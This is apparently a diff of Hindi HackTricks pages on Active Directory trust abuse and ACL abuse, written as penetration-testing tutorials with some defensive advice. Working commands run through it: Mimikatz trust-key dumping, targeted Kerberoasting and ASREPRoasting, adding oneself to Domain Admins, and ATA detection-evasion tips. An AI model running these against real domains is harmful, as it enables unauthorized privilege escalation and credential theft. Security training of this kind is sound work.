- **Local Group Membership**: Principals को machines के local groups में जोड़ा जा सकता है, जैसे कि किसी server पर “Administrators” group, जो उन्हें उस मशीन पर महत्वपूर्ण नियंत्रण देता है।
|
||||
- **Foreign Domain Group Membership**: Principals foreign domain के groups के सदस्य भी हो सकते हैं। हालांकि, इस तरीके की प्रभावशीलता trust के प्रकार और group के scope पर निर्भर करती है।
|
||||
- **Access Control Lists (ACLs)**: Principals किसी **ACL** में specify किए जा सकते हैं, विशेष रूप से **ACEs** के रूप में एक **DACL** के अंदर, जो उन्हें specific resources तक पहुँच प्रदान करता है। ACLs, DACLs और ACEs की mechanics में गहराई में जाने वालों के लिए, whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” अमूल्य संसाधन है।
|
||||
|
||||
### Find external users/groups with permissions
|
||||
|
||||
आप domain में foreign security principals खोजने के लिए **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** की जाँच कर सकते हैं। ये entries **external domain/forest** के user/group होंगे।
|
||||
आप **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** चेक कर सकते हैं ताकि domain में foreign security principals पाए जा सकें। ये बाहरी domain/forest के user/group होंगे।
|
||||
|
||||
आप इसे **Bloodhound** में या **powerview** का उपयोग करके जाँच सकते हैं:
|
||||
आप इसे **Bloodhound** में या powerview का उपयोग करके चेक कर सकते हैं:
|
||||
```powershell
|
||||
# Get users that are i groups outside of the current domain
|
||||
Get-DomainForeignUser
|
||||
@ -625,7 +625,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
|
||||
WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
डोमेन ट्रस्ट्स को enumerate करने के अन्य तरीके:
|
||||
डोमेन ट्रस्ट्स को सूचीबद्ध करने के अन्य तरीके:
|
||||
```bash
|
||||
# Get DCs
|
||||
nltest /dsgetdc:<DOMAIN>
|
||||
@ -638,8 +638,8 @@ nltest /dclist:sub.domain.local
|
||||
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> 2 **trusted keys** हैं, एक _Child --> Parent_ के लिए और दूसरी _Parent_ --> _Child_ के लिए।\
|
||||
> आप वर्तमान डोमेन द्वारा उपयोग की जा रही कुंजी को निम्नलिखित के साथ देख/प्राप्त कर सकते हैं:
|
||||
> वर्तमान में **2 trusted keys** मौजूद हैं, एक _Child --> Parent_ के लिए और दूसरा _Parent_ --> _Child_ के लिए।\
|
||||
> आप वर्तमान डोमेन द्वारा उपयोग की जा रही कुंजी को इस तरह देख सकते हैं:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
@ -648,7 +648,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
|
||||
#### SID-History Injection
|
||||
|
||||
Trust का दुरुपयोग करके SID-History injection के साथ child/parent डोमेन में Enterprise admin के रूप में escalate करें:
|
||||
Trust का दुरुपयोग करके SID-History injection के जरिए child/parent domain में Enterprise admin के रूप में अधिकार बढ़ाएँ:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -657,45 +657,45 @@ sid-history-injection.md
|
||||
|
||||
#### Exploit writeable Configuration NC
|
||||
|
||||
यह समझना कि Configuration Naming Context (NC) का कैसे exploit किया जा सकता है, बहुत महत्वपूर्ण है। Configuration NC Active Directory (AD) वातावरण में पूरे forest के configuration डेटा के लिए एक केंद्रीय रिपॉज़िटरी का काम करता है। यह डेटा forest के प्रत्येक Domain Controller (DC) पर replicate होता है, और writable DCs Configuration NC की writable copy बनाए रखते हैं। इसका exploit करने के लिए, किसी के पास **SYSTEM privileges on a DC**, वरीयता रूप से एक child DC, होना चाहिए।
|
||||
Configuration Naming Context (NC) को कैसे exploit किया जा सकता है यह समझना महत्वपूर्ण है। Configuration NC Active Directory (AD) वातावरण में एक forest भर में configuration डेटा के लिए केंद्रीय रिपॉज़िटरी के रूप में काम करता है। यह डेटा forest के हर Domain Controller (DC) पर replicate होता है, और writable DCs Configuration NC की writable copy बनाए रखते हैं। इसे exploit करने के लिए, किसी DC पर **SYSTEM privileges on a DC** होना आवश्यक है, बेहतर है कि वह child DC हो।
|
||||
|
||||
**Link GPO to root DC site**
|
||||
**GPO को root DC site से लिंक करें**
|
||||
|
||||
Configuration NC के Sites container में AD forest के भीतर सभी domain-joined कंप्यूटर्स की sites की जानकारी शामिल होती है। किसी भी DC पर SYSTEM privileges के साथ काम करके, attacker GPOs को root DC sites से link कर सकते हैं। यह क्रिया इन sites पर लागू नीतियों का हेरफेर करके root domain को संभावित रूप से compromise कर सकती है।
|
||||
Configuration NC के Sites container में AD forest के भीतर सभी domain-joined कंप्यूटरों की साइट्स की जानकारी शामिल होती है। किसी भी DC पर SYSTEM privileges के साथ काम करके, attackers GPOs को root DC sites से लिंक कर सकते हैं। इस क्रिया से उन साइट्स पर लागू नीतियों को बदलकर root domain संभावित रूप से compromise हो सकता है।
|
||||
|
||||
For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
गहराई से जानकारी के लिए निम्न रिसर्च देखी जा सकती है: [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Compromise any gMSA in the forest**
|
||||
**Forest में किसी भी gMSA को compromise करें**
|
||||
|
||||
एक attack vector में domain के अंदर privileged gMSAs को target करना शामिल है। gMSA के पासवर्ड की गणना के लिए आवश्यक KDS Root key Configuration NC में संग्रहीत होती है। किसी भी DC पर SYSTEM privileges के साथ, KDS Root key तक पहुँच बनाकर forest भर के किसी भी gMSA के पासवर्ड की गणना की जा सकती है।
|
||||
एक attack vector domain के भीतर privileged gMSAs को निशाना बनाता है। gMSAs के passwords की गणना के लिए आवश्यक KDS Root key Configuration NC में स्टोर रहती है। किसी भी DC पर SYSTEM privileges के साथ, KDS Root key तक पहुँच कर पूरे forest के किसी भी gMSA का password compute करना संभव है।
|
||||
|
||||
Detailed analysis and step-by-step guidance can be found in:
|
||||
विस्तृत विश्लेषण और step-by-step मार्गदर्शन यहाँ उपलब्ध है:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):
|
||||
पूरक delegated MSA attack (BadSuccessor – abusing migration attributes):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
badsuccessor-dmsa-migration-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
अतिरिक्त बाहरी रिसर्च: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Schema change attack**
|
||||
|
||||
यह विधि धैर्य मांगती है, नए privileged AD objects के बनने का इंतजार करना। SYSTEM privileges के साथ, attacker AD Schema को संशोधित कर सकता है ताकि किसी भी user को सभी classes पर पूर्ण कंट्रोल दिया जा सके। इससे नए बनाए गए AD objects पर अनधिकृत पहुँच और नियंत्रण हो सकता है।
|
||||
यह विधि धैर्य मांगती है — नए privileged AD objects के बनने का इंतजार करना होता है। SYSTEM privileges के साथ, एक attacker AD Schema में बदलाव करके किसी भी user को सभी classes पर complete control दे सकता है। इससे नए बनाए गए AD objects तक unauthorized access और control हो सकता है।
|
||||
|
||||
Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
अधिक पढ़ने के लिए देखें: [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**From DA to EA with ADCS ESC5**
|
||||
|
||||
ADCS ESC5 vulnerability का उद्देश्य Public Key Infrastructure (PKI) objects पर नियंत्रण हासिल करना है ताकि एक certificate template बनाया जा सके जो forest के किसी भी user के रूप में authentication सक्षम करे। चूँकि PKI objects Configuration NC में स्थित होते हैं, एक writable child DC को compromise करने से ESC5 attacks को execute करना संभव हो जाता है।
|
||||
ADCS ESC5 vulnerability का उद्देश्य Public Key Infrastructure (PKI) objects पर नियंत्रण हासिल करके ऐसा certificate template बनाना है जो forest में किसी भी user के रूप में authentication सक्षम करे। चूँकि PKI objects Configuration NC में रहते हैं, इसलिए एक writable child DC को compromise करके ESC5 attacks को निष्पादित किया जा सकता है।
|
||||
|
||||
More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
इस पर और जानकारी के लिए पढ़ें: [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). यदि ADCS मौजूद नहीं है, तो attacker आवश्यक components खुद सेटअप करने में सक्षम होता है, जैसा कि इस लेख में चर्चा की गई है: [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### External Forest Domain - One-Way (Inbound) or bidirectional
|
||||
```bash
|
||||
@ -708,14 +708,13 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
इस परिदृश्य में **आपका डोमेन** एक बाहरी डोमेन द्वारा ट्रस्ट किया गया है जो आपको उस पर **अनिर्धारित अनुमतियाँ** देता है। आपको यह पता लगाना होगा कि **आपके डोमेन के कौन से principals को बाहरी डोमेन पर किस तरह का access है** और फिर इसे exploit करने की कोशिश करनी होगी:
|
||||
|
||||
इस परिदृश्य में **आपके डोमेन को एक बाह्य डोमेन द्वारा ट्रस्ट किया गया है**, जो आपको उस पर **अनिर्धारित अनुमतियाँ** देता है। आपको पता लगाना होगा कि **आपके डोमेन के कौन से सिक्योरिटी प्रिंसिपल्स बाह्य डोमेन पर किस प्रकार की पहुँच रखते हैं** और फिर उनका शोषण करने की कोशिश करनी होगी:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
{{#endref}}
|
||||
|
||||
### बाहरी फॉरेस्ट डोमेन - एकतरफ़ा (Outbound)
|
||||
### बाहरी फ़ॉरेस्ट डोमेन - एक-तरफ़ा (आउटबाउंड)
|
||||
```bash
|
||||
Get-DomainTrust -Domain current.local
|
||||
|
||||
@ -727,37 +726,38 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
In this scenario **आपका डोमेन** कुछ **अधिकार** किसी **अलग डोमेन** के प्रिंसिपल को **ट्रस्ट** कर रहा है।
|
||||
In this परिदृश्य **your domain** किसी **different domains** के प्रिंसिपल को कुछ **privileges** सौंप रहा होता है।
|
||||
|
||||
हालाँकि, जब एक **डोमेन को ट्रस्ट किया जाता है** ट्रस्टिंग डोमेन द्वारा, ट्रस्टेड डोमेन **एक यूजर बनाता है** जिसका **नाम पूर्वानुमेय** होता है और जिसका पासवर्ड **ट्रस्टेड पासवर्ड** के रूप में उपयोग होता है। इसका मतलब यह है कि यह संभव है कि ट्रस्टिंग डोमेन का एक यूजर एक्सेस कर सके और ट्रस्टेड डोमेन के अंदर जा कर उसे सूचीबद्ध करके अधिक अधिकार बढ़ाने की कोशिश करे:
|
||||
हालाँकि, जब एक **domain is trusted** होता है trusting domain द्वारा, तो trusted domain एक **user** बनाता है जिसका नाम प्रेडिक्टेबल होता है और जिसका **password the trusted password** होता है। इसका मतलब यह है कि यह संभव है कि **access a user from the trusting domain to get inside the trusted one** ताकि उसे enumerate किया जा सके और अधिक privileges हासिल करने की कोशिश की जा सके:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
ट्रस्टेड डोमेन को कॉम्प्रोमाइज़ करने का एक और तरीका है [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) ढूँढना जो domain trust की **विपरीत दिशा** में बनाया गया हो (जो बहुत आम नहीं है).
|
||||
एक और तरीका trusted domain को compromise करने का यह है कि उस दिशा में बने हुए [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) को ढूँढा जाए जो domain trust के विपरीत दिशा में बनाया गया हो (जो कि बहुत आम नहीं है)।
|
||||
|
||||
ट्रस्टेड डोमेन को कॉम्प्रोमाइज़ करने का एक और तरीका यह है कि किसी मशीन पर प्रतीक्षा करना जहां एक **trusted domain का user RDP के माध्यम से लॉगिन कर सकता है**। फिर, attacker RDP session process में कोड inject कर सकता है और वहाँ से **victim के origin domain** तक पहुँच सकता है.\ Moreover, अगर **victim ने अपना हार्ड ड्राइव माउंट किया हुआ है**, तो **RDP session** प्रक्रिया से attacker हार्ड ड्राइव के **startup folder** में **backdoors** स्टोर कर सकता है। इस तकनीक को **RDPInception** कहा जाता है।
|
||||
एक और तरीका trusted domain को compromise करने का है कि attacker उस मशीन पर इंतज़ार करे जहाँ **user from the trusted domain can access** कर सकता है और RDP के माध्यम से login कर सकता है। फिर attacker RDP session process में code inject कर सकता है और वहाँ से **access the origin domain of the victim** कर सकता है.\
|
||||
इसके अलावा, अगर **victim mounted his hard drive** कर चुका है, तो **RDP session** process से attacker हार्ड ड्राइव के **startup folder** में **backdoors** स्टोर कर सकता है। इस तकनीक को **RDPInception** कहा जाता है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### डोमेन ट्रस्ट दुरुपयोग से रक्षा
|
||||
### Domain trust abuse mitigation
|
||||
|
||||
### **SID Filtering:**
|
||||
|
||||
- SID history attribute का उपयोग करके forest trusts के पार होने वाले अटैक्स के जोखिम को SID Filtering द्वारा कम किया जाता है, जिसे सभी inter-forest trusts पर डिफ़ॉल्ट रूप से सक्रिय किया जाता है। यह इस धारणा पर आधारित है कि intra-forest trusts सुरक्षित हैं, Microsoft के दृष्टिकोण के अनुसार forest को domain की तुलना में सुरक्षा सीमा माना जाता है।
|
||||
- हालाँकि, एक समस्या यह है कि SID filtering applications और user access को बाधित कर सकता है, जिससे इसे कभी-कभी निष्क्रिय कर दिया जाता है।
|
||||
- SID Filtering के सक्रिय होने से inter-forest trusts में SID history attribute के जरिए होने वाले हमलों का खतरा कम होता है; यह सभी inter-forest trusts पर डिफ़ॉल्ट रूप से सक्रिय होता है। यह इस धारणा पर आधारित है कि intra-forest trusts सुरक्षित हैं, क्योंकि Microsoft के दृष्टिकोण के अनुसार सुरक्षा सीमा forest है, न कि domain।
|
||||
- हालांकि, एक समस्या यह है कि SID filtering कुछ applications और user access को बाधित कर सकता है, जिसकी वजह से इसे कभी-कभी deactivate किया जाता है।
|
||||
|
||||
### **Selective Authentication:**
|
||||
|
||||
- inter-forest trusts के लिए, Selective Authentication लागू करने से सुनिश्चित होता है कि दोनों forests के users स्वचालित रूप से authenticated न हों। इसके बजाय, users को trusting domain या forest के भीतर domains और servers तक पहुँचने के लिए स्पष्ट permissions की आवश्यकता होती है।
|
||||
- यह ध्यान रखना महत्वपूर्ण है कि ये उपाय writable Configuration Naming Context (NC) के शोषण या trust account पर होने वाले अटैक्स से सुरक्षा प्रदान नहीं करते।
|
||||
- inter-forest trusts के लिए Selective Authentication का उपयोग यह सुनिश्चित करता है कि दोनों forests के users स्वतः authenticated न हों। इसके बजाय, users को trusting domain या forest के अंदर domains और servers तक पहुँचने के लिए स्पष्ट permissions की आवश्यकता होती है।
|
||||
- यह महत्वपूर्ण है कि ये उपाय writable Configuration Naming Context (NC) के शोषण या trust account पर हमलों से सुरक्षा प्रदान नहीं करते हैं।
|
||||
|
||||
[**domain trusts के बारे में अधिक जानकारी ired.team पर।**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
@ -766,33 +766,33 @@ rdp-sessions-abuse.md
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
|
||||
{{#endref}}
|
||||
|
||||
## कुछ सामान्य सुरक्षा उपाय
|
||||
## Some General Defenses
|
||||
|
||||
[**यहाँ क्रेडेंशियल्स की सुरक्षा कैसे करें के बारे में और जानें।**](../stealing-credentials/credentials-protections.md)
|
||||
[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **क्रेडेंशियल सुरक्षा के लिए रक्षात्मक उपाय**
|
||||
### **Defensive Measures for Credential Protection**
|
||||
|
||||
- **Domain Admins Restrictions**: सलाह दी जाती है कि Domain Admins को केवल Domain Controllers पर लॉगिन करने की अनुमति दी जाए और अन्य hosts पर उनका उपयोग टाला जाए।
|
||||
- **Service Account Privileges**: सुरक्षा बनाए रखने के लिए सेवाओं को Domain Admin (DA) privileges के साथ नहीं चलाना चाहिए।
|
||||
- **Temporal Privilege Limitation**: DA privileges वाले कार्यों के लिए उनकी अवधि सीमित रखनी चाहिए। इसे निम्न कमांड के द्वारा हासिल किया जा सकता है: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Domain Admins Restrictions**: सुझाया जाता है कि Domain Admins केवल Domain Controllers पर ही login करने की अनुमति रखें और अन्य hosts पर उनका उपयोग टालें।
|
||||
- **Service Account Privileges**: सेवाएँ Domain Admin (DA) privileges के साथ नहीं चलानी चाहिए ताकि सुरक्षा बनी रहे।
|
||||
- **Temporal Privilege Limitation**: जिन कार्यों में DA privileges की आवश्यकता होती है, उनके समय को सीमित रखा जाना चाहिए। इसे इस तरह से लागू किया जा सकता है: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Deception Techniques लागू करना**
|
||||
### **Implementing Deception Techniques**
|
||||
|
||||
- Deception लागू करने में जाल लगाना शामिल है, जैसे decoy users या computers बनाना, जिनमें ऐसे फीचर हों जैसे passwords जो expire न हों या जिन्हें Trusted for Delegation के रूप में चिह्नित किया गया हो। एक विस्तृत तरीका specific rights वाले users बनाना या उन्हें high privilege groups में जोड़ना शामिल है।
|
||||
- एक व्यावहारिक उदाहरण में निम्न टूल का उपयोग शामिल है: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Deception techniques deploy करने के बारे में अधिक जानकारी [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) पर मिल सकती है।
|
||||
- Deception लागू करने में traps सेट करना शामिल है, जैसे decoy users या computers, जिनमें ऐसे फ़ीचर हो सकते हैं जैसे passwords that do not expire या Trusted for Delegation के रूप में चिह्नित। विस्तृत तरीका specific rights वाले users बनाने या उन्हें high privilege groups में जोड़ने जैसी चीज़ें शामिल करता है।
|
||||
- एक व्यावहारिक उदाहरण में tools का उपयोग किया जाता है जैसे: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Deception techniques के deployment के बारे में अधिक जानकारी [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) पर मिलती है।
|
||||
|
||||
### **Deception की पहचान**
|
||||
### **Identifying Deception**
|
||||
|
||||
- **For User Objects**: संदिग्ध संकेतों में atypical ObjectSID, कम logons, creation dates, और low bad password counts शामिल हैं।
|
||||
- **General Indicators**: संभावित decoy objects के attributes की वास्तविक objects से तुलना करने पर असंगतियाँ पता चल सकती हैं। [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) जैसे tools ऐसी deceptions पहचानने में मदद कर सकते हैं।
|
||||
- **For User Objects**: संदिग्ध संकेतों में असामान्य ObjectSID, कम logons, creation dates, और low bad password counts शामिल हैं।
|
||||
- **General Indicators**: संभावित decoy objects के attributes की तुलना असली objects के साथ करने से inconsistencies पता चल सकती हैं। ایسے tools जैसे [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) deception की पहचान में मदद कर सकते हैं।
|
||||
|
||||
### **Detection Systems को बायपास करना**
|
||||
### **Bypassing Detection Systems**
|
||||
|
||||
- **Microsoft ATA Detection Bypass**:
|
||||
- **User Enumeration**: ATA detection से बचने के लिए Domain Controllers पर session enumeration से बचना।
|
||||
- **Ticket Impersonation**: ticket creation के लिए **aes** keys का उपयोग करना detection से बचने में मदद करता क्योंकि यह NTLM पर डाउनग्रेड नहीं करता।
|
||||
- **DCSync Attacks**: ATA detection से बचने के लिए non-Domain Controller से execute करना सुझाया जाता है, क्योंकि सीधे Domain Controller से execute करने पर alerts ट्रिगर होंगे।
|
||||
- **User Enumeration**: ATA detection से बचने के लिए Domain Controllers पर session enumeration से बचें।
|
||||
- **Ticket Impersonation**: टिकट बनाने के लिए **aes** keys का उपयोग detection से बचने में मदद करता है क्योंकि यह NTLM पर downgrade नहीं करता।
|
||||
- **DCSync Attacks**: DCSync को non-Domain Controller से execute करने की सलाह दी जाती है ताकि ATA detection से बचा जा सके, क्योंकि Domain Controller पर सीधे execution alerts ट्रिगर करेगा।
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Active Directory ACLs/ACEs का दुरुपयोग
|
||||
# Abusing Active Directory ACLs/ACEs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**यह पृष्ठ मुख्य रूप से इन तकनीकों का सारांश है:** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **और** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**। अधिक विवरण के लिए मूल लेख देखें।**
|
||||
**यह पृष्ठ मुख्य रूप से निम्लिखित तकनीकों का सारांश है** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **और** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**। अधिक जानकारी के लिए, मूल लेख देखें।**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,32 +11,32 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **User पर GenericAll अधिकार**
|
||||
## **GenericAll Rights on User**
|
||||
|
||||
यह विशेषाधिकार attacker को लक्ष्य user account पर पूर्ण नियंत्रण देता है। एक बार `GenericAll` अधिकार `Get-ObjectAcl` कमांड से पुष्टि हो जाने पर, attacker कर सकता है:
|
||||
यह अधिकार एक हमलावर को लक्षित उपयोगकर्ता खाते पर पूर्ण नियंत्रण प्रदान करता है। एक बार `GenericAll` अधिकारों की `Get-ObjectAcl` कमांड से पुष्टि हो जाने पर, एक हमलावर निम्न कर सकता है:
|
||||
|
||||
- **Change the Target's Password**: `net user <username> <password> /domain` का उपयोग करके attacker यूज़र का पासवर्ड रीसेट कर सकता है।
|
||||
- **Targeted Kerberoasting**: यूज़र के खाते को SPN असाइन करके उसे kerberoastable बनाएं, फिर Rubeus और targetedKerberoast.py का उपयोग करके ticket-granting ticket (TGT) हेशेस निकालें और उन्हें क्रैक करने का प्रयास करें।
|
||||
- **लक्षित का पासवर्ड बदलना**: `net user <username> <password> /domain` का उपयोग करके, हमलावर उपयोगकर्ता का पासवर्ड रीसेट कर सकता है।
|
||||
- **Targeted Kerberoasting**: उपयोगकर्ता के खाते को kerberoastable बनाने के लिए उस खाते पर SPN असाइन करें, फिर Rubeus और targetedKerberoast.py का उपयोग करके ticket-granting ticket (TGT) hashes निकालें और उन्हें क्रैक करने का प्रयास करें।
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: उपयोगकर्ता के लिए pre-authentication अक्षम करें, जिससे उनका खाता ASREPRoasting के प्रति संवेदनशील हो जाए।
|
||||
- **Targeted ASREPRoasting**: उपयोगकर्ता के लिए pre-authentication अक्षम करें, जिससे उनका खाता ASREPRoasting के लिए असुरक्षित हो जाए।
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll अधिकार समूह पर**
|
||||
## **GenericAll Rights on Group**
|
||||
|
||||
यह विशेषाधिकार attacker को समूह की सदस्यताओं को बदलने की अनुमति देता है यदि उनके पास किसी समूह जैसे `Domain Admins` पर `GenericAll` अधिकार हैं। `Get-NetGroup` से समूह का distinguished name पहचानने के बाद, attacker कर सकता है:
|
||||
यह अधिकार किसी attacker को समूह की सदस्यताओं में हेरफेर करने की अनुमति देता है अगर उनके पास किसी समूह जैसे `Domain Admins` पर `GenericAll` rights हों। समूह का distinguished name `Get-NetGroup` से पहचानने के बाद, attacker निम्न कर सकते हैं:
|
||||
|
||||
- **Domain Admins Group में खुद को जोड़ना**: इसे सीधे commands के माध्यम से या Active Directory या PowerSploit जैसे modules का उपयोग करके किया जा सकता है।
|
||||
- **Add Themselves to the Domain Admins Group**: यह सीधे commands के माध्यम से या Active Directory या PowerSploit जैसे modules का उपयोग करके किया जा सकता है।
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
Linux से आप BloodyAD का उपयोग करके किसी भी समूह में खुद को जोड़ सकते हैं जब आपके पास उन पर GenericAll/Write membership हो। यदि लक्षित समूह “Remote Management Users” में nested है, तो आप उन hosts पर जो उस समूह का सम्मान करते हैं तुरंत WinRM access प्राप्त कर लेंगे:
|
||||
- Linux से आप BloodyAD का उपयोग करके अपने आप को किसी भी समूह में जोड़ सकते हैं जब आपके पास उन पर GenericAll/Write सदस्यता हो। अगर लक्ष्य समूह “Remote Management Users” में nested है, तो आप उस समूह को मानने वाले hosts पर तुरंत WinRM access प्राप्त कर लेंगे:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
किसी computer object या user account पर ये privileges होने से निम्न संभव होते हैं:
|
||||
किसी computer object या user account पर ये privileges होने से संभव होता है:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: एक computer object को हथियाने की अनुमति देता है।
|
||||
- **Shadow Credentials**: इन privileges का फायदा उठाकर shadow credentials बनाने के जरिए किसी computer या user account की नकल करने के लिए इस technique का उपयोग किया जा सकता है।
|
||||
- **Kerberos Resource-based Constrained Delegation**: एक computer object को takeover करने में सक्षम बनाता है।
|
||||
- **Shadow Credentials**: इन privileges का उपयोग करके shadow credentials बनाकर किसी computer या user account का impersonate करने के लिए इस technique का इस्तेमाल करें।
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
यदि किसी user के पास किसी विशेष group (उदा., `Domain Admins`) के सभी objects पर `WriteProperty` rights हैं, तो वे:
|
||||
यदि किसी user के पास किसी विशेष group (उदा., `Domain Admins`) के लिए सभी objects पर `WriteProperty` rights हैं, तो वे निम्न कर सकते हैं:
|
||||
|
||||
- **Add Themselves to the Domain Admins Group**: `net user` और `Add-NetGroupUser` commands को मिलाकर हासिल किया जा सकता है; यह method domain के भीतर privilege escalation की अनुमति देती है।
|
||||
- **Add Themselves to the Domain Admins Group**: `net user` और `Add-NetGroupUser` commands को combine करके हासिल किया जा सकता है; यह method डोमेन के भीतर privilege escalation की अनुमति देता है।
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **समूह पर Self (Self-Membership)**
|
||||
